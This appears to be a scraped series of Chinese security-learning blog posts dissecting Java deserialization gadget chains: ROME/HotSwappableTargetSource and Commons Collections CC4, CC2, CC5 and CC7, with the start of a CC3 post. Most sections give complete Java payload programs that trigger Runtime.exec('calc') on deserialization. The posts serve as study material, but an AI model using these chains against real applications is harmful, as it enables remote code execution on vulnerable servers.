boolean)HotSwappableTargetSource.equals(Object)XString.equals(Object)ToStringBean#toString()ToStringBean#toString(String)BeanIntrospector#getPropertyDescriptors(Class)BeanIntrospector#getPDs(Class)TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()TemplatesImpl#getTransletInstance()TemplatesImpl#defineTransletClasses()TransletClassLoader#defineClass() 构造 payload1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class HotSwappableTargetSource_payload { public static void main(String[] args) throws Exception { // 获取类池 ClassPool classPool = ClassPool.getDefault(); // 创建一个名为 Error 的类 CtClass error = classPool.makeClass("Error"); // 向 Error 对象中添加静态代码块 CtConstructor constructor = error.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\\"calc\\");"); // 设置 Error 的父类为 AbstractTranslet CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); error.setSuperclass(abstractTranslet); // 将 Error 对象输出成字节数组 byte[] errorBytecode = error.toBytecode(); // 新建利用链 TemplatesImpl 对象 TemplatesImpl templatesImpl = new TemplatesImpl(); setValue(templatesImpl, "_name", "aaa"); setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode}); setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); // HotSwappableTargetSource 的 equals 方法参数 other 需要是一个 HotSwappableTargetSource 对象 // other 的 target 属性值需要是 ToStringBean 对象 HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); // this.target 需要是一个 XString 对象 // 为防止 put 时提前命令执行,这里先不设置,随便 new 一个 HashMap 做参数 HotSwappableTargetSource h2 = new HotSwappableTargetSource(new HashMap<>()); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(h1, "test1"); hashMap.put(h2, "test2"); // 反射设置 this.target 为 XString 对象 setValue(h2, "target", new XString("test")); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }} 参考文章Java 安全学习 —— ROME 反序列化 ROME 反序列化","categories":["Java 安全"]},{"title":"漏洞篇 - Java 反序列化之 CC4+CC2+CC5+CC7 链","path":"/2024/06/05/Java 安全/漏洞篇-CC4+CC2+CC5+CC7链分析/","content":"CC4 链在 Commons Collections 版本为 3.2.1 的背景下,可以使用 TransformedMap 或者 LazyMap 来执行 transform 方法,但当 Commons Collections 的版本提升到 4.0 时,就又多出了一种办法:利用 TransformingComparator 来执行 transform 方法。 先前我们将 AnnotationInvocationHandler 和 HashMap 作为入口类,利用它们的 readObject 方法来反序列化,但是现在我们还可以利用 PriorityQueue 的 readObject 来反序列化。 实验环境 java = 8u65 CommonsCollections = 4.0 pom.xml 中导入如下依赖: 12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version></dependency> 利用链之 TransformingComparator在 CommonsCollections 4.0 版本中,TransformingComparator 实现了 Serializable 接口,可以被序列化,而在 3.2.1 版本中是不可序列化的。 TransformingComparator 的 compare 方法中就调用了 transform 方法: 12345public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2);} transformer 是 TransformingComparator 中定义的属性: 1private final Transformer<? super I, ? extends O> transformer; 这个属性在构造方法中被赋值: 1234public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer;} 另一个构造方法又调用了这个构造方法: 123public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR);} 都是 public ,好说。 入口类之 PriorityQueuePriorityQueue#siftDownUsingComparator()PriorityQueue 类的 siftDownUsingComparator 方法调用了 comparator 的 compare 方法: 12345678910111213141516private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x;} comparator 是 PriorityQueue 中定义的成员属性: 1private final Comparator<? super E> comparator; 在构造方法中被赋值: 123456789public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator;} 这个构造方法又被另一个构造方法调用: 123public PriorityQueue(Comparator<? super E> comparator) { this(DEFAULT_INITIAL_CAPACITY, comparator);} 只需要将 PriorityQueue 的 comparator 属性赋值成 TransformingComparator 对象即可。 PriorityQueue#siftDown()PriorityQueue 的 siftDown 方法调用了 siftDownUsingComparator 方法: 123456private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x);} PriorityQueue#heapify()PriorityQueue 的 heapify 方法调用了 siftDown 方法: 1234private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]);} 但是通过代码我们可以发现,进入 for 循环的条件是 (size >>> 1) - 1 >= 0 ,意思就是将 size 的二进制位无符号右移一位(高位用 0 补全)再减去 1 要大于等于 0 ,故而 size 要大于等于 2 。 size 是 PriorityQueue 中定义的属性,初始值为 0: 1private int size = 0; 想要增加 size 的值,可以通过 PriorityQueue 的 offer 方法: 1234567891011121314public boolean offer(E e) { if (e == null) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1); size = i + 1; if (i == 0) queue[0] = e; else siftUp(i, e); return true;} 从代码中可以看出,offer 方法每被调用一次,size 都会在原来的基础上加 1 。 当然也可以使用 PriorityQueue 的 add 方法,add 方法调用了 offer 方法: 123public boolean add(E e) { return offer(e);} 至于这里为什么不直接用反射修改呢,原因是 size 表示的是这个优先队列中元素的个数: 如果不往这个优先队列中添加元素,而是直接暴力反射修改 size 的值,那么在序列化时将会报错,导致反序列化无法进行。 具体可以看 PriorityQueue 的 writeObject 方法: 123456789101112private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out element count, and any hidden stuff s.defaultWriteObject(); // Write out array length, for compatibility with 1.5 version s.writeInt(Math.max(2, size + 1)); // Write out all elements in the "proper order". for (int i = 0; i < size; i++) s.writeObject(queue[i]);} PriorityQueue#readObject()PriorityQueue 的 readObject 方法调用了 heapify 方法: 123456789101112131415161718private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify();} 调用栈总结12345678910111213PriorityQueue#readObject() PriorityQueue#heapify() PriorityQueue#siftDown() PriorityQueue#siftDownUsingComparator() TransformingComparator#compare() ChainedTransformer#transform() ConstantTransformer#transform() InstantiateTransformer#transform() TrAXFilter#TrAXFilter() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() payloadEval 类: 123456789101112131415161718192021222324252627282930import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.io.Serializable;public class Eval extends AbstractTranslet { // 恶意代码放在静态代码块中 static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } // 需要重写父类的两个方法 @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }} 执行程序: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4 { public static void main(String[] args) { try{ // 初始化 TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\CC2457test\\\\target\\\\classes\\\\com\\\\miaoji\\\\Eval.class")); setFieldValue(templates, "_bytecodes", new byte[][]{code}); // _name 不为空 setFieldValue(templates, "_name", "test"); // 利用 ChainedTransformer 执行 templates.newTransformer() Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 利用 TransformingComparator 执行 transform 方法 TransformingComparator comparator = new TransformingComparator(chainedTransformer); // 初始化入口类 PriorityQueue PriorityQueue priorityQueue = new PriorityQueue(2); // 向 priorityQueue 中添加元素,使得元素个数 size 增加 priorityQueue.add(1); priorityQueue.add(1); // 在 add 调用完之后,再反射修改 comparator 属性为 TransformingComparator 对象 Object[] objects = new Object[]{templates, null}; setFieldValue(priorityQueue, "comparator", comparator); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(priorityQueue); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } catch (Exception e) { e.printStackTrace(); } } //反射设置 Field public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } }} 这里需要再说明一下,为什么不在构造方法中将 PriorityQueue 的 comparator 属性为 TransformingComparator 对象呢?因为 add 方法会提前调用 comparator.compare() ,造成序列化时命令执行,具体调用如下: 123456789PriorityQueue#add() -> PriorityQueue#offer() -> PriorityQueue#siftUp() -> PriorityQueue#siftUpUsingComparator() -> PriorityQueue.comparator#compare() 所以 payload 是在 add 方法调用完后再将 comparator 属性赋值。 CC2 链CC2 链与 CC4 链的相同之处在于它们都将 PriorityQueue 作为入口类,利用 TransformingComparator#compare() 来调用 transform 方法。不同之处在于 CC2 链用 InvokerTransformer 代替 TrAXFilter + InstantiateTransformer 来执行 TemplatesImpl#newTransformer() 调用栈总结123456789101112PriorityQueue#readObject() PriorityQueue#heapify() PriorityQueue#siftDown() PriorityQueue#siftDownUsingComparator() TransformingComparator#compare() ChainedTransformer#transform() ConstantTransformer#transform() InvokerTransformer#transform() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() payload123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC2 { public static void main(String[] args) { try{ // 初始化 TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\CC2457test\\\\target\\\\classes\\\\com\\\\miaoji\\\\Eval.class")); setFieldValue(templates, "_bytecodes", new byte[][]{code}); // _name 不为空 setFieldValue(templates, "_name", "test"); // 利用 ChainedTransformer 执行 templates.newTransformer() Transformer[] transformers = new Transformer[] { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 利用 TransformingComparator 执行 transform 方法 TransformingComparator comparator = new TransformingComparator(chainedTransformer); // 初始化入口类 PriorityQueue PriorityQueue priorityQueue = new PriorityQueue(2); // 向 priorityQueue 中添加元素,使得元素个数 size 增加 priorityQueue.add(1); priorityQueue.add(1); // 在 add 调用完之后,再反射修改 comparator 属性为 TransformingComparator 对象 Object[] objects = new Object[]{templates, null}; setFieldValue(priorityQueue, "comparator", comparator); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(priorityQueue); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } catch (Exception e) { e.printStackTrace(); } } //反射设置 Field public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } }} CC5 链CC5 链将 BadAttributeValueExpException#readObject() 作为入口,利用 TiedMapEntry#tostring() 来调用 LazyMap#get() ,进而调用 transform 方法。 实验环境 java = 8u65 CommonsCollections = 3.2.1 pom.xml 中导入如下依赖: 12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency> 利用链之 TiedMapEntry前面在使用 TiedMapEntry 时,用的是它的 getValue 方法来调用其成员属性 map 的 get 方法: 123public Object getValue() { return map.get(key);} TiedMapEntry 的 toString 方法又调用了 getValue 方法: 123public String toString() { return getKey() + "=" + getValue();} 入口类之 BadAttributeValueExpExceptionBadAttributeValueExpException 的 readObject 方法调用了 valObj 的 toString 方法: 123456789101112131415161718192021private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); }} 我们看看 valObj 是怎么来的: ObjectInputStream.GetField gf = ois.readFields(); ois:一个 ObjectInputStream 实例,用于从输入流中读取对象。 readFields():读取对象的字段,并返回一个 ObjectInputStream.GetField 对象,这个对象包含了序列化对象的字段和值。 Object valObj = gf.get("val", null); gf:前面获取的 ObjectInputStream.GetField 对象。 get(“val”, null):从 gf 中获取名为 val 的字段值。如果 val 字段不存在,则返回 null。 所以说,valObj 的值就是 val 的值,而 val 是 BadAttributeValueExpException 中定义的属性: 1private Object val; 所以我们只需要将 val 赋值成 TiedMapEntry 对象即可。 但是我们并不能用构造方法赋值,因为构造方法会提前调用 val 的 toString 方法,造成命令执行: 123public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString();} 所以这里选择反射修改 val 的值。 再来看判断,调用 valObj.toString() 的前提是: 12345678System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean 这个式子返回 true 。若 valObj 为 TiedMapEntry 对象,则所有的 instanceof 判断均为 false 。System.getSecurityManager() 作用是获取当前 Java 虚拟机 (JVM) 安装的 SecurityManager( Java 中的一种安全机制,用于在运行时对代码进行安全检查),默认情况下是没有安装的,所以返回 null ,那么上述判断默认情况下为 true 。 当然也就可以知道:理论上,如果受害者安装了 SecurityManager ,CC5 链就行不通。 调用栈总结12345678BadAttributeValueExpException#readObject() TiedMapEntry#toString() TiedMapEntry#getValue() LazyMap#get() ChainedTransformer#transform() ConstantTransformer#transform() InvokerTransformer#transform() Runtime#exec() payloadCC5 链还是采用 InvokerTransformer 命令执行的办法。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5 { public static void main(String[] args) throws Exception { // 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc") Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); // 利用 LazyMap 的 get 方法执行 ChainedTransformer 的 transform 方法 Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); // 利用 TiedMapEntry 的 toString 方法执行 LazyMap 的 get 方法 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test"); // 利用 BadAttributeValueExpException 的 readObject 方法执行 TiedMapEntry 的 toString 方法 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); // 反射设置 val ,不在构造方法中设置 val 是为了避免提前代码执行 Field val = BadAttributeValueExpException.class.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }} CC7 链CC7 链将 Hashtable#readObject() 作为入口,利用 AbstractMap#equals() 来调用 LazyMap#get() ,进而调用 transform 方法。 利用链之 AbstractMapAbstractMap 的 equals 方法调用了 m 的 get 方法: 1234567891011121314151617181920212223242526272829303132public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true;} 来看 m 在 equals 方法中的定义: 1Map<?,?> m = (Map<?,?>) o; 所以只要将传入的 o 设置成 LazyMap 对象就好了。 利用链之 AbstractMapDecoratorAbstractMapDecorator 的 equals 方法会调用 map 的 equals 方法: 123456public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object);} map 是 AbstractMapDecorator 中定义的成员属性: 1protected transient Map map; 在构造方法中被赋值: 123456public AbstractMapDecorator(Map map) { if (map == null) { throw new IllegalArgumentException("Map must not be null"); } this.map = map;} 可以将 map 赋值成 AbstractMap 对象。 入口类之 HashtableHashtable 的 reconstitutionPut 方法调用了 e.key.equals() : 123456789101112131415161718192021private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException{ if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++;} 这里需要注意几个点: 一是 value 需要不为空,否则抛出异常; 二是 for 循环中的 if 判断条件 (e.hash == hash) && e.key.equals(key) ,使用 && 符号,具有短路特性,也就是说只有左边的式子返回 true ,右边的式子才会执行。 Hashtable 的 value 属性可以通过 put 方法赋值; 要调用到 e.key.equals() 我们需要保证 e.key 是一个 AbstractMapDecorator 对象,但是 AbstractMapDecorator 是一个抽象类,并不能直接 new 对象,已知 LazyMap 继承了 AbstractMapDecorator 这个抽象类,所以可以考虑将 e.key 赋值为 LazyMap 对象; e 是传入的参数 Entry[] tab 数组的某一个键值对,想知道这个 tab 是什么,还得往后看。 Hashtable 的 readObject 方法调用了 reconstitutionPut 方法: 123456789101112131415161718192021222324252627282930313233private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException{ // Read in the length, threshold, and loadfactor s.defaultReadObject(); // Read the original length of the array and number of elements int origlength = s.readInt(); int elements = s.readInt(); // Compute new size with a bit of room 5% to grow but // no larger than the original size. Make the length // odd if it's large enough, this helps distribute the entries. // Guard against the length ending up zero, that's not valid. int length = (int)(elements * loadFactor) + (elements / 20) + 3; if (length > elements && (length & 1) == 0) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0; // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // synch could be eliminated for performance reconstitutionPut(table, key, value); }} 可以看到传入 reconstitutionPut 方法的第一个参数是 table ,table 是 Hashtable 中定义的一个属性: 1private transient Entry<?,?>[] table; 这个属性被 transient 修饰,不能参加序列化,也就是说反序列化通过 Hashtable 的 readObject 方法第一次调用 reconstitutionPut 方法时,table 至少是没有值的。 再放一遍 reconstitutionPut 代码: 回到前面的问题,第一次调用 reconstitutionPut 方法时 table 为空,故而 for 循环中取到的 e 为空,直接跳出 for 循环,进行后面的赋值: 12Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e); 这里调用了 Entry 的构造方法,会将其成员属性 hash 赋值为前面调用 key.hashCode() 算出来的 hash 值。 Entry 是 Hashtable 中的一个静态内部类,其构造方法如下: 第一次 reconstitutionPut 方法被调用完后,会回到 readObject 方法的循环中,Hashtable 中的键值对有多少个,这个 for 循环就执行多少次,reconstitutionPut 方法就被调用多少次,那么如果在 Hashtable 中放入两个 LazyMap 对象: 12hashtable.put(lazyMap1, "test");hashtable.put(lazyMap2, "test"); reconstitutionPut 方法自然会执行两次,第二次调用时,tab[index] 就有值了,且只有一个值,就是 lazyMap1 => “test” ,我们又知道,hash 是调用 key.hashCode() 得到的,lazyMap1.hashCode() 会调用其父类 AbstractMapDecorator 的 hashCode() 方法,并最终会调用其成员属性 map 的 hashCode() 方法。 若 map 是 HashMap 对象,则会调用 HashMap 的 hashCode() 方法,这个方法在其静态内部类 Node<K,V> 中: 123public final int hashCode() { return Objects.hashCode(key) ^ Objects.hashCode(value);} 可以看到,HashMap 的 hashCode() 方法是分别计算其 key 的 hash 和 value 的 hash 再相乘得到的。 接下来需要使判断 e.hash == hash 返回 true ,即使 lazyMap1.hashCode() == lazyMap2.hashCode() 成立。但是 lazyMap1 与 lazyMap2 又不能完全一样,因为 hashtable.put 在往 hashtable 对象里添加键值对的时候,如果键一样的话,会将值替换掉,如果 lazyMap1 与 lazyMap2 完全一样,那么第二个 put 就只会做替换,这样 hashtable 对象里面就仍然只有一个键值对。 所以这里我们沿用前辈们的思路: 12lazyMap1.put("yy", 1);lazyMap2.put("zZ", 1); 由于 “yy” 与 “zZ” 算出来的 hash 值一样,所以这样设置好两个 LazyMap 对象中的 map 属性之后,hashCode() 方法得出来的结果是一样的。 最后一点就是,hashtable 的 put 方法会提前调用 equals 方法: 1234567891011121314151617181920212223public synchronized V put(K key, V value) { // Make sure the value is not null if (value == null) { throw new NullPointerException(); } // Makes sure the key is not already in the hashtable. Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for(; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } } addEntry(hash, key, value, index); return null;} 仔细观察上述代码,发现跟 reconstitutionPut 方法很像,所以为了防止提前命令执行,先传入一个空的 Transformer 到 LazyMap 即可。 有了上述的结论,就可以开始书写 payload 了。 payload1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main(String[] args) throws Exception { // 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc") Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; // 先传入空的 Transformer 数组,防止 put 时命令执行 Transformer[] transformers1 = new Transformer[]{}; Transformer chainedTransformer = new ChainedTransformer(transformers1); // 新建两个 HashMap 作为传入的参数 Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // 新建两个 LazyMap ,确保 hashCode() 结果一样 Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer); lazyMap2.put("zZ", 1); // 新建入口类 Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, "test1"); hashtable.put(lazyMap2, "test2"); // 通过反射设置 transformer 数组 Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); //上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除 lazyMap2.remove("yy"); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashtable); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }} 调用栈总结梳理调用栈之前,先知道两件事: LazyMap 继承了 AbstractMapDecorator HashMap 继承了 AbstractMap 123456789Hashtable#readObject()\t->Hashtable#reconstitutionPut()\t->Hashtable#reconstitutionPut() LazyMap#equals() -- 即 AbstractMapDecorator#equals() HashMap#equals() -- 即 AbstractMap#equals() LazyMap#get() ChainedTransformer#transform() InvokerTransformer#transform() Runtime#exec() 参考文章CC链 1-7 分析 https://www.yuque.com/5tooc3a/jas/gggdt0vwi5n0zwhr#CUjq4","categories":["Java 安全"]},{"title":"漏洞篇 - Java 反序列化之 CC3 链","path":"/2024/05/27/Java 安全/漏洞篇-CC3链分析/","content":"CC3 链的核心在于利用 TemplatesImpl 加载恶意类时执行静态代码块。 CC3 链分析在分析 CC3 链之前,我们需要再深入地了解一下 Java 的类加载机制。虽然我前面有提到 Java 类加载的几种方式,但是这里还是需要再深入了解一下。 推荐博客:Java 基础篇-类加载机制 ClassLoader,吃透它看这一篇就够了 自定义类加载器实现一个自定义类加载器需要继承 ClassLoader ,同时覆盖 findClass 方法。 ClassLoader 里面有三个重要的方法 loadClass() 、findClass() 和 defineClass() 。 loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 